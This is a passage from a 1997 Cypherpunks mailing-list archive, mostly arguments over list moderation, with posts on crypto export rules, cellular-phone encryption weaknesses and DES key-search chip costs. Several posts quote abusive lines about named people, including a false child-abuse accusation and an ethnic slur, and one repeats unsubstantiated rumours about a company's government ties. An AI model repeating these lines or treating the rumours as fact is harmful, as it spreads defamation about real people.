the list. Insults, i.e., "Tim Mayo fucks children", are no longer polluting
the list.

o Moderation did not achieve what it couldn't achieve. The level of noise
has been reduced, but signal has not been increased. This is sad, but true.
The attempt was probably bound to fail, since many of the "top signal
generators" have long left the list and are not about to come back. All
that is remaining are a few diehards, such as myself, some TLA goons
(knowingly or unknowingly) working against the cause, and many newbies and
observers.

I believe that Cypherpunks is beyond hope of recovery. In fact, each day
Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
cause. Let's kill the list. Once and for all. Let the hard core crypto go
to Coderpunks, the politics to Cryptography, and the garbage into the void.

I am well aware of the name recognition and reputation capital associated
with CP, still I believe it best to *kill the list*.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Date: Mon, 3 Feb 1997 12:13:22 -0800 (PST)
Subject: Re: GAK cracking?
Message-ID: <199702032013.MAA01096@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 3 Feb 1997, tmcghan@gill-simpson.com wrote:

> Just days after a U.S. graduate student cracked the most powerful
> computer encryption system allowed out of the country, the Commerce
> Department announced it would allow three companies to export an
> even stronger system. 

[snip]

> Companies said products with just 40-bit long keys, the old limit, 
> were too easy to crack. The approvals came just days after Ian Goldberg, a 
> graduate student at the University of California, cracked a message 
> encoded with a software key 40-bits long. 
> 
> The government did not name the companies given permission to export 
> stronger, 56-bit programs, but Glenwood, Md.,-based Trusted 
> Information Systems acknowledged that it was one of the three. 

Why does it not surprise me that TIS gets permission to export 56-bit (DES?) ?
They do key recovery (is it GAK?) They brag about government consulting. The
clients they will admit to having are listed on:
http://www.tis.com/docs/products/consulting/govt/govcon.html
and, purely unsubstantiated rumors here, but I've heard (seen) TIS, NSA, FBI 
and other  "friends" of ours all together in the same paragraph. Conspiracy?
Maybe... This is both good and bad.... yes, longer codes are now exportable,
but only to / by certain people?

I notice that the new cipher length is 56 bit...same size as DES? hopefully
that's just a coincidence (yeah, right) or maybe somebody's starting to see
the real world where people download pirate cryptosystems and says "so let's
export bigger ones and make a buck off it, too..." (yeah, right)


PLUR
chris
--
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Rose <ggr@Qualcomm.com>
Date: Mon, 3 Feb 1997 07:25:52 -0800 (PST)
To: cryptography@c2.net
Subject: Re: PCS Encryption?
Message-ID: <199702031525.HAA26015@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Douglas C. Merrill" writes:
>At 03:30 PM 2/1/97 -0500, Steven Bellovin wrote:
>>And an illegal wiretap besides, most likely -- with a warrant, they could
>>simply put the tap at the base station.  The story may be true, but it
>>doesn't sound quite right to me.

It doesn't sound quite right to me either.

>Phil Karn is, of course, the expert on this -- I hope he'll chime in soon
>-- Phil, you out there??

I'm not Phil, but maybe I'll do.

The three different digital standards in North
America are TDMA, CDMA, and GSM (in NY and DC
only AFAIK).  Newer analog phones use at least
some of this, but I don't know much about them.
I'll ignore GSM. There is a fair bit of
commonality in the security of TDMA and CDMA
because of their use of the "Common Cryptographic
Algorithms". I like to think I'm only telling you
things which are in the "Interface Specification
for Common Cryptographic Algorithms Rev B.1".

CAVE is used as a hashing algorithm for a number
of purposes. Starting at the beginning (that's a
very good place to start... shut up Julie) it is
used to verify that the A-key programmed into the
phone is correct; the dealer or whoever puts in
26 digits, 20 of which are the A-key, and the
other 6 are a checksum calculated with CAVE, and
the Equipment Serial Number. (The ESN is always
used by CAVE -- I won't mention it again.) If
they agree, the phone buries the A-key very deep,
never to be seen again. (A_Key_Checksum,
A_Key_Verify)

>From time to time, but not very often, the network
and the phone create "Shared Secret Data"; they
start with a 56-bit random number and run CAVE on it and
the A-key. The resulting 128 bits is split into 
two 64-bit chunks called SSD_A and SSD_B. SSD_A is
used for authentication purposes only, while SSD_B
is used for the generation of keys for other
cryptographic stuff. (SSD_Generation, SSD_Update)

At various times, the base station authenticates
the phone by sending down a random challenge (32
bits); this is hashed by CAVE with some other
use-dependent data (not secret, but intended to
defeat replays) and SSD_A (either current or new,
depending on context) to form an 18-bit
signature. Since you only get one go to get it
right, 18 bits was deemed enough. Again depending
on context, the state of CAVE at the end of this
process may be saved for use later. (Auth_Signature)

The original intent seems to be that
Auth_Signature would happen at the beginning of
every call, but I don't think that is actually the
case. I'm not certain about the telephony end of
this stuff.

Now comes the encryption stuff. At the beginning
of each call, Key_VPM_Generation is called. (VPM
is Voice Privacy Mask.) This uses CAVE,
initialised to the saved state it had at the last
Auth_Signature, and SSD_B, to achieve two things;
it generates the CMEA key (64 bits), and it generates the
Voice Privacy Mask.

CMEA (Cellular Message Encryption Algorithm) is
used to encrypt bits of the signalling stuff over
the air, but never any end-user data. It is used
in different ways by the three standards, as they
have different message formats, but they all
(AMPS, TDMA, CDMA) use it.

The VPM is ignored by analog (I think). It is
constant for the entire call, and is XORed with
every frame for TDMA (cryptographically weak, as
you can XOR any two frames to cancel it out, but
since the frames are heavily compressed actually
getting anything from this is not trivial). CDMA
ignores all but the last 40 bits, which becomes
the initial "long code" for the PN (Psuedo-random
Noise) generator. This is a straightforward LFSR,
which again, is not cryptographically strong in
the face of known plaintext, but again, the input
is heavily compressed. More importantly, though,
for CDMA you need to have the long code before you
can easily sort out the signal from the noise
around it (it was originally developed from
anti-jamming technology), and since it has a
period of days before it repeats, the call will
probably be over...

The conclusion is that neither way of doing it is
truly cryptographically strong, but both are a lot
better than listening to Princess Di call Newt
"Squidgy" on a Radio Shack scanner.

Note, at this point, that neither the phone
industry or the NSA particularly cares about
end-user stuff being strong. The signalling
messages have a 64-bit key used much more
appropriately, and so cell-phone fraud is harder
to achieve.

>Many folks think that "digital = secure" because you can't use radio
>shack(TM) listening devices.  This much is true.  However, you *Can* build
>other devices to listen in, and computer hardware is so cheap it's almost
>feasible -- though I haven't built one...  

Or you can take the bits out of existing phones.

Greg.

Greg Rose               INTERNET: ggr@Qualcomm.com
Qualcomm Australia      VOICE:  +61-2-9743 4646   FAX: +61-2-9736 3262
6 Kingston Avenue       homepage.
Mortlake NSW 2137       35 0A 79 7D 5E 21 8D 47  E3 53 75 66 AC FB D9 45





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 3 Feb 1997 11:56:21 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: swiss buy centralized euro-smartcard system
Message-ID: <199702031956.LAA00517@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.hotwired.com/staff/pointcast/Features/1814.html

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Date: Mon, 3 Feb 1997 12:11:06 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702032011.MAA00965@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>  So much for key escrow.

*ding!* we have a winner!

andrew





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 3 Feb 1997 12:11:48 -0800 (PST)
To: Peter Hendrickson <pdh@best.com>
Subject: Re: Dissolving Choke Points
Message-ID: <199702032011.MAA01076@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


i do have unix (linux) and stuff, but i can't take a lot of subscribers
-- maybe 200-300 or so.

i actually wrote a proposal for a mailing list without a central control
point, with several advantages being impossibility of control, absense
of a single point of failure, and cryptographic verification of honesty 
of moderators.

if there is any interest, i will post it here.

igor

Peter Hendrickson wrote:
> 
> I was amused by the similarities of USG crypto policy and the
> moderation of the cypherpunks list.  Recently a number of new
> regulations were announced to go into effect by a certain date.
> Requests for comments were made after the policy was announced.  Many
> of us thought that was pretty sneaky.  I feel the same way about the
> moderation plan.
> 
> Moderation has been a failure.  I'm pretty good at filtering and I
> can sadly report that there is very little signal out there.
> 
> There are lessons to be learned here.  One is that censorship does
> not promote a stimulating and creative dialogue.  The cypherpunks list
> right now is about as interesting as hanging out by the 7-11.
> 
> Another lesson is the danger of choke points.  We can see how
> tempting it is for people to exercise their control.  Even John Gilmore
> was unable to restrain himself from involuntary social engineering
> experiments.  Who would we have considered to be more trustworthy?
> 
> Toad.com is a choke point, not just in terms of moderation but in
> terms of the rate at which it can distribute messages.  Let's
> replace it.
> 
> What we want are many machines carrying the cypherpunks list.  A
> message posted to any machine goes to all of the others.  Each
> machine sends messages to its subscribers only once.  Some of
> these machines should be across borders.
> 
> The mail loop and multiple posting problems are solved by observing
> the message IDs.
> 
> Fast implementation: use moderated mailing list software.  Put a
> filter in the .forward file of the "moderator" account which looks
> at the message ID and forwards the message if it hasn't been seen
> already.  The mailing list machines all subscribe each other.
> 
> I've been looking for a stable machine with a good net connection to
> do this.  I haven't found one.  However, if we have many machines
> sharing the load, the stability of any one unit is not as important
> because the list will survive multiple "hits".  Only the subscribers
> on one machine will be affected by having their messages delayed.
> This greatly reduces the work and responsibility for any one list
> operator.  (As John will attest, keeping a machine running 24 hours a
> day, 7 days a week, rain or shine, is a lot of work.)
> 
> Also, with multiple machines, each unit handles a small amount of the
> load.  This makes more machines available and has less impact on
> people's net connections.
> 
> Last I checked, there were about 1200 addresses on the mailing list at
> toad.com.  All we need are about 10 machines to take 120 subscribers
> each.  (This is a completely manageable load.)
> 
> Do you have a Unix machine on the Net?  Does it have sendmail and
> Perl?  Then you have all that it takes to participate.  Send me
> mail and I'll help you set it up.
> 
> Peter Hendrickson
> ph@netcom.com
> 
> P.S. I like and respect John and Sandy and I've learned a lot from
> both of them.  While basically well-intentioned, they just made a
> mistake in this instance.
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 3 Feb 1997 12:11:16 -0800 (PST)
To: m5@vail.tivoli.com
Subject: Re: Fortune, 3 Feb
Message-ID: <199702032011.MAA01001@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally wrote:
> 
> Big article in Fortune about e-mail privace.  One little paragraph
> about encryption ("scrambling").  Fairly clue-free overall, but
> entertaining.
> 

I found the article to be extremely silly, although it was probably
useful for "management".

Anyway, computer security is an oxymoron.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 14:42:55 -0800 (PST)
To: Peter Hendrickson <cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702032242.OAA04567@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote:
>At 11:38 AM 2/3/1997, Lucky Green wrote:
>> I am well aware of the name recognition and reputation capital associated
>> with CP, still I believe it best to *kill the list*.
>
>If you don't like the list, why not unsubscribe?

That won't solve the problem. The list has become counterproductive. It is
impossible for other lists to provide a real forum for the discussion of
the topics that this list used to be about while CP still exists. At the
same time, CP has long stopped providing such a forum. CP is draining
energy from its subscribers and the cause. Kill it! Kill it now!



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 3 Feb 1997 14:45:39 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702032245.OAA04654@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Timothy C. May

With no false modesty I tried awfully hard to compose
substantive essays on crypto-political topics, often more than one per
day.
(Others did too, but they seem to be tapering off as well, leaving the
list
to be dominated by something called a "Toto," the "O.J. was framed!"
ravings of Dale Thorn, the love letters between Vulis and someone name
Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad
I'm
not reading the list in e-mail, and thus can easily avoid replying to
these
inanities...
..........................................


Your thoughtful contributions to the list are missed, Tim.   As soon as
I realized that you had left the list I suspected it had something to do
with its moderation.

However, I must protest the inclusion of Toto's posts as one of the
"inane".    His posts were intentionally formulated to cause to stand
out what was, indeed, inane -  as he said, to "hold up a mirror".    And
he continually decried the list experiment, pointing out the
philosophical contradiction of a moderated "anarchist" forum.

If the antidote to bad speech is more speech, then he certainly provided
some, although not on the level or style as yourself.   And you may say
that some of these posts are not worth replying to, but didn't I see you
respond to one of Dale's, regarding a photo of Jessica-the-pilot which
he keeps above his desk?

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Mon, 3 Feb 1997 14:56:33 -0800 (PST)
To: PADGETT@hobbes.orl.mmc.com
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <199702032256.OAA04984@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A. Padgett Peterson P.E. Information Security apparently wrote:
> Have good reason to believe your estimate for a purpose built machine this
> year (expect 600,000,000 to 1,000,000,000 kps per sieve - these will not 
> be cheap chips but will be commecially available). Expect 400 arrays
> would be required to do DES in a day (average) but is a lot more
> achievable than the 65k postulated by the gang of nine.

I received a nice flyer in the mail the other day from "Chip Express"
(www.chipexpress.com, 800-95-CHIPX). They are offering Laser
Programmed Gate Arrays.  It appears to be a reasonable way to get some
Wiener chips built.  As I recall, the Wiener design required about
23,000 gates.  Their blurb had the following table in in:

  FPGA Gates  ASIC Gates  500 Units  1000 Units  5000 Units
    40,000      20,000      $77        $45         $10
   Not Avail   200,000     $176       $150         $82

So it appears that you can get 5000 Wiener key search chips build for
about $50K.  I'm not sure about the speed, but I wouldn't be surprised
if you could clock these at 50 MHz.  The Wiener design is pipelined
and searches one key per clock, so each chip could search 50e6 keys /
second.  50e6 * 5000 = 250e9 keys / second for $50K

Happy Hunting...

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 14:41:46 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Govt & cyberspace
Message-ID: <199702032241.OAA04535@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



DF raises the question of whether the IRS will be able to 
modernize in the lack of "intellectual capital" (i.e. brains).
This is actually a very interesting topic which I've not
seen a lot of analysis on elsewhere, but which I expect
to see a lot more in the future.

the basic issue is this: private industry is moving into
cyberspace at a lightening pace. yet the government is
painfully incapable of doing the same for reasons of bureacracy.
numerous articles have been documenting the inability of the
government to successfully pull of massive software and
hardware upgrade projects. 

I suspect it will only be a matter of time before this is
called a major "crisis" by politicians and milked for all
of its conceivable tax value. eeks.

I've seen a lot of articles about govt agencies in a 
computational crisis due to this problem. maybe someone
can come up with a cute tag item. "technology envy" maybe?
I read about how the FAA was trying to install a new flight
control system that's insanely over budget and lightyears
from a conceivable completion.

another *major* computation problem is the year 2000
crisis. private companies can barely get it together to
do the upgrading and investigation required to fix the
2000-flip problem. the government is even farther behind.
if there is going to be a year 2000 "crisis" due to the
millenium bug, I suspect much of it will be focused in
government agencies.

"tech envy"-- what impact is this going to have on our
government? it's becoming a huge issue. it may be a 
really great opportunity for a populist movement to
truly reform the government in the process of upgrading
their computers. I suspect that the "groupware" technology
that is just getting started will have major influence
in these areas. as private companies find increasingly
sophisticated ways of managing themselves, the obvious
question will arise, "why can't we have an efficient govt
when our private industries are"? the answer is, we
can!!

I've written about "electronic democracy" repeatedly. many
people object to the idea. but when it is phrased in terms
of groupware, it becomes more palatable. imagine a small
company humming along with its groupware application that
allows it to make company-wide decisions using a democratic
process. moreover, the software is robust and scales well.
why can't the same principles be scaled up, up, up? I predict
that they will be in a rather extraordinary revolution.

a new "velvet revolution"? comments anyone?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Mon, 3 Feb 1997 14:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Information Warfare
Message-ID: <199702032257.OAA05015@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The cypherpunks list has been under "attack" for some time.  How have
we managed it?  Very poorly in my view.

Some people have dismissed the idea that rogue governmental elements
are behind some of our problems.  Yet, there is no reason to rule
out this hypothesis.

The government has not always behaved well with regards to its
perceived enemies in the last few decades.  The FBI seems to
infiltrate everything - even churches!.  This is well documented.

The CIA has worked hard on disrupting various political movements of
which it did not approve using provocateurs and other conspiratorial
dirty tricks.  (I believe the FBI has, too, but I do not recall any
documentation offhand.)

We know that "Information Warfare" is the big thing in the defense
establishment right now.  It's all over their web pages.  We see
articles from the Kennedy School which seem to compare free speech
with disease. Etc. Etc.

We also believe that the things the Cypherpunks are interested in are
on the radar screen.  Maybe the Cypherpunks are, too.

Is it unreasonable to ask whether some people are getting funding to
experiment with disrupting "groups" like the Cypherpunks?  I can
easily picture people inventing all sorts of important sounding words
like "psy-op" for what is little more than rudeness.

Whatever the cause of the disruptions, the solutions are the same.

Most of the proposals I've been hearing have to do with controlling
the behavior of other cypherpunks and creating more structure.  This
is a mistake.

It's clear that even the definitions of "spam" and "flame" are hard to
nail down.  The next idea will be to moderate on the basis of content.
How will we decide what is content?  Clearly that's much too important
a question to leave to just one person.  What we need is a committee
to decide!  What's next?  Robert's Rules of Order?

All of this detracts from the work we have before us.  If you've ever
been involved with a non-profit organization, you will know that
enormous energy is spent on internal political scheming.  That's a
boring waste of time.

Let's go down a better path.  Let's think about the best way for each
cypherpunk to manage disruptions.  Please consider these suggestions:

1. Filter noise.

I filter based on origin.  If a kill file doesn't work, use a positive
filter to read messages only from people who are worthwhile.  It has
been suggested that this doesn't work because some people post
garbage, but also occasionally post something good.  There's gold in
the ocean, too.  Why don't we retrieve it?

If you don't want to manage a filter yourself, find somebody to do it
for you.  A number of people offer filtering services.

Remember that in an open forum, noise increases with signal.  The more
worthwhile and interesting threads are on the list, the more worthless
postings we are going to see, particlarly when people are consciously
disruptive.

2. Post signal.

Filters are useless when there is no signal.  Signal comes from
cypherpunks.  You are a cypherpunk.

3. Birds of a feather flock together.

When you respond to somebody, you mingle your on-line identity with
theirs.  Fly with the eagles.

Peter Hendrickson
ph@netcom.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 14:41:47 -0800 (PST)
To: Blanc Weber <cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702032241.OAA04539@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:15 PM -0800 2/3/97, Blanc Weber wrote:

>Your thoughtful contributions to the list are missed, Tim.   As soon as
>I realized that you had left the list I suspected it had something to do
>with its moderation.
>
>However, I must protest the inclusion of Toto's posts as one of the
>"inane".    His posts were intentionally formulated to cause to stand
>out what was, indeed, inane -  as he said, to "hold up a mirror".    And
>he continually decried the list experiment, pointing out the
>philosophical contradiction of a moderated "anarchist" forum.

Well, "Toto" wrote in a style I found hard to grasp, and his/her/its points
were often lost to me. But I was only scanning the list via the hks.net
archive site, and so may have missed the subtleties.

One way thoughtful posts get "absorbed" is when others quote them (or the
parts they like best, disagree with, etc.). This gives people a second or
third look. (And, of course, when one _replies_ to a post this is how it
gets read most carefully.)

I saw few people I respect a lot replying substantively to the posts of
some of these people who seemed to dominate the list in the last month, and
of course I myself did not reply to any of them, so whatever points they
were making were lost on me.

>If the antidote to bad speech is more speech, then he certainly provided
>some, although not on the level or style as yourself.   And you may say
>that some of these posts are not worth replying to, but didn't I see you
>respond to one of Dale's, regarding a photo of Jessica-the-pilot which
>he keeps above his desk?

Sure, but that was months ago. In any case, I didn't say Dale nor Toto nor
anyone else should be shunned; I posted when I felt like it.

Nor of course have I ever argued for censoring Toto or Dale or anyone else.
My point to Sandy was just that the new censorship policy was still clearly
letting a lot of crap^H^H^H^H "piffle" (a Sandy-used and hence
Sandy-approved synonym for "cr*p") through, and that certain folks were
issuing lots and lots of rants and raves.

Personally, I think "flames" are not the problem. Not flames from obviously
thoughtful folks who are angered or peeved about something. The "flames"
posted by bots--targetted at me, usually--were not especially helpful, but
I see nothing wrong with, say, Hallam-Baker flaming Bell. Or vice versa.
Flames and intense argument are often useful in explicating hard
subjects...and who can deny that Bell's ideas are controversial and may
generate intense opinions?

To expunge the list of Vulis' ASCII art and "Timmy May was born on a toilet
as the spawn of a dandruff-covered Armenian tchurka and his nekulturny
peasant mother" bot-generated insults we have apparently now gotten a list
where Lord Sandy apprises us that he almost rejected my long,
carefully-constructed essay because I committed the NewCyphepunk (TM) sin
of referring to Toto, Dale, Dimitri, and Nurgaine in unflattering ways.

Like I said, "fuck that."

Or, more politely, it's throwing the baby out with the bathwater. Not to
mention sending the strong message that "Even Cypherpunks gave up their
experiment with anarchy and now have a moderator deciding what the main
list is permitted to read."

Far too high a price to pay for the "comity" Sandy craves.

(And if Sandy wants comity and good cheer, let him either form his own list
or establish a filtered list just the way Blossom and Arachelian did.
Hijacking the list to reform it in his own image is dirty pool.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 14:57:04 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702032257.OAA05024@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



<* The mechanics of the announcement troubled me greatly. To be blunt, I was
<seething with anger. I was mightily annoyed to read that John had made a
<decision to appoint Sandy as his Moderator, with no discussion on the list.
<I don't know if Eric Hughes and Hugh Daniel were asked their opinions, but
<I certainly know I was not. I feel that as one of the two or three
<founders, depending on how one is counting, and as a frequent contributor
<to the list since its inception, and so on, I (and others) should at least
<have been told of this plan. Better yet, have the plans discussed on the
<list, as some good ideas may have been generated.

hi timmy, a word to the wise: it amuses me that whenever I referred
to a cypherpunk "community" my eyebrows were flamed off, by people
who claimed there was no such thing. a community has certain properties,
many of which I believe the cypherpunks "crowd" has always lacked.

one aspect of the "crowd" that is lacking is LEADERSHIP. I have pointed
this out again and again. the cpunks believe that leadership is no
longer relevant in a digital society, somehow. the list is in the
shape it is in because of POOR LEADERSHIP.. neither you nor EH care
about what LEADERSHIP entails, or wish to exert the sacrifices that
it requires. hence, you have, and have always had, a LEADERSHIP VACUUM.
and now you are "mightily annoyed", "pissed off" etc. that as a
"founder" you were not consulted? you weren't consulted because you
weren't a leader in the true sense of the word. are you in or out?

imho leadership does not merely entail writing posts and having a
completely laissaiz fair attitude about every single issue under the
sun, particularly those of dear importance to the list, such as how
to deal with crappy signal to noise ratios, intentional provocateurs,
people who seem to have ulterior agendas, etc.

I think it is highly amusing for you to get a lesson about how your
views about "anarchy" really work out. what does this anarchy thing
mean, anyway? is someone else taking over the list your idea of
what is represented by anarchy?   imho anarchy is a power vacuum
in which the events which have transpired, and that you perceive
as unpalatable to say the least, are inevitable.

<I'll have more to say about my problems with how things were handled.
<Frankly, it smacked of the same kind of fait accompli decision John made
<with the unsubscribing of Vulis. While John had (and has) every legal right
<to do with his property as he wished, the effect was very negative. First,
<Vulis found other ways to post (duh). Second, the list was consumed with
<flames about this, many from Vulis, and many from others. Third,
<journalists (who love sizzle over substance any day of the week) lept into
<the fray with articles which gave Vulis the publicity he craved. Fourth, it
<sent a message to enemies of liberty that "Even the Cypherpunks have found
<it necessary to abandon their anarchic ways."

"enemies of liberty"? hee, hee. anarchy was not a practical way of
running the list, and never has been, and now that the REALITY of the 
situation is PROVING this to you in an inescapable existence proof,
you find it impossible to confront the obvious message. timmy, a little
tip: anarchy, as you seem to conceive it, doesn't scale well, 
and both usenet and the cypherpunks list are eminent evidence of this.

<(I'm well aware of the issues with pests like Vulis, who seek to destroy
<virtual communities like ours. But the solution John used did not work, and
<generated more crap. As you all should know, it was John himself who coined
<the wonderful saying, "The Net interprets censorship as damage and routes
<around it." A delicious irony.)

which should encourage people to understand that there is a subtle 
difference between censorship and moderation.. or does the distinction
elude you? is there a difference in your opinion? you have plenty
of financial resources to start a mailing list of your own, what makes
you think it would be any more orderly than the one that is being run
here? in fact, do you understand how "anarchy" and "order" are mutually
exclusive, now that your own reality is shouting it to you?

<* The proper solution to bad speech is more speech, not censorship.

ah, so everyone should post 5 messages to the list, instead of 1, and
those that are quite should post 3. quite an elegant solution. do you
see how the silly rhetoric fails to hold up in reality? when will you
get a clue about where your own views are really leading you?

<* OK, even given that John had decided to censor "his" list, what about his
<choice of Sandy Sandfort as the censor? 

"moderator"-- does the word mean anything to you?

<(I count Sandy as a friend, but I'm just being honest here. Sandy is just
<not a "Peter Neumann" (moderator of the "RISKS" list).

you were free to propose another  moderator. moderation is hard work.
it takes a lot of time. who volunteered other than sandy?

<* I would have had no problem had John announced that he was creating a new
<list, the "Good Stuff" list, with Sandy has his Chooser of Good Stuff.
<After all, both Eric Blossom and Ray Arachelian already offer just such
<lists, and more would not hurt.
<
<But by making the _main list_ the censored one, this skewed things
<considerably.

anyone is free to subscribe to any list they choose, including the unfiltered
one. how is the reality different than that which you write? are you suggesting
that people are too lazy to make a coherent choose on their own? who
are you to argue with what everyone themself chooses?

<* The decision to "moderate" (censor) the Cypherpunks list is powerful
<ammunition to give to our opponents, and Vulis is certainly gleeful that
<his fondest wishes have been realized. And it won't work. People are
<consuming even more bandwidth arguing the merits of John's decision, the
<traffic is presumably being slowed down by the need for Sandy to wade
<through the traffic and stamp "Approved" or "Rejected" on what he glances
<at, and people are "testing the limits" of what they can say and what they
<can't say.

what's a better solution, in your opinion, besides ignoring it all and
pretending there is no problem?

<In any case, my several years with the list have taken a huge amount of my
<time. Given the way this whole thing was handled, and the way the list is
<degenerating even further, it looks like it's good that I'm moving on to
<other things.

ah, quite convenient excuse to bail out when no elegant solution seems
possible. blame all the problems on faux-reasons rather than an opportunity
for soul-searching.

<- the decision to censor the list was made without any discussion on the
<list, without any discussion with at least some of the longterm core
<contributors, and was presented as a "fait accompli."

by their own construction, all insisted that everyone be treated 
identically on the list, and that no such distinction be made about
"longterm core contributors"


but thanks for showing up and clarifying your position, timmy. what
a tragedy not to routinely see your smiling face here. I for one
have "taps" playing on my computer whenever I read the list as
a suitable memorial to your past greatness. viva la cypherpunks!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Mon, 3 Feb 1997 14:57:49 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702032257.OAA05048@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:12 PM 2/3/1997, Lucky Green wrote:
>At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote:
>>At 11:38 AM 2/3/1997, Lucky Green wrote:
>>> I am well aware of the name recognition and reputation capital associated
>>> with CP, still I believe it best to *kill the list*.

>> If you don't like the list, why not unsubscribe?

> That won't solve the problem. The list has become counterproductive. It is
> impossible for other lists to provide a real forum for the discussion of
> the topics that this list used to be about while CP still exists. At the
> same time, CP has long stopped providing such a forum. CP is draining
> energy from its subscribers and the cause. Kill it! Kill it now!

Who should do what to comply with your proposal?  Should John shut down
the list?  Are you asking everybody to unsubscribe?

I don't think "killing the list" is an option for you or anybody else.
The List transcends all domains.

Peter Hendrickson
ph@netcom.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 15:00:52 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Filling Power Vacuums
Message-ID: <199702032300.PAA05129@toad.com>
MIME-Version: 1.0
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timmy writes:

<It's about "power grabs."
<
<You see, in any anarchic situation, where reliance on self-control and
<self-filtering is emphasized, there is always a _temptation_ for some to
<"fill the power vacuum" and grab power.

ah, so what's the solution?

<I learned in my years at Intel how easy it was to start bossing people
<around, and as I hired engineers and scientists, I built up quite a little
<empire. But I didn't like what it was doing to me, as it distanced me from
<the technology and also brought out "control freak" tendencies....I started
<worrying about how my people were using their time ("my" time), and I
<increasingly applied my own notions of what they should talk about and what
<were suitable topics for laboratory chatter. In other words, I became a
<censor. (Not a government censor, but a censor in the broader definition
<I've already cited.)

timmy, I encourage you to understand that leadership is not 
